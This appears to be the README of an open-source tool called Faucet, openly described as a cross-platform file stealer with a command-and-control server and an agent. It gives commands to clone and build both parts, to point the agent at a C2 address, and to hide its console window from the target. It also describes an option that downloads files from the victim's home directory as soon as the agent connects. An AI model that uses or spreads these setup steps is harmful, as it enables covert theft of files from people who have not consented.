Easy to use encrypted cross platform file stealer with an interactive GUI. Yeah that summarizes it pretty well.
Feel free to contribute.
git clone https://github.com/R00tendo/Faucet
cd Faucet/server
go install github.com/wailsapp/wails/v2/cmd/wails@latest
~/go/bin/wails doctor
- Install any missing dependencies.
~/go/bin/wails build
cp build/bin/* ./
- Open
global.conf
and change the password. - Start server.
- Modify
client/main.go
and change the C2 server address and password variables to the correct ones. - Build the agent:
go build client/main.go
(if you don't want the terminal to pop up:go build --ldflags -H=windowsgui client/main.go
). - When the target runs the agent it should now connect to the server and display the current directory's contents.
- password: Password used to encrypt the traffic.
- listen: Server listener. Format:
<host>:<port>
. - lootdir: Where Faucet will store downloaded files.
- autodownload: A file/directory to be download the second the agent connects. NOTE: %user% will be translated to the home directory.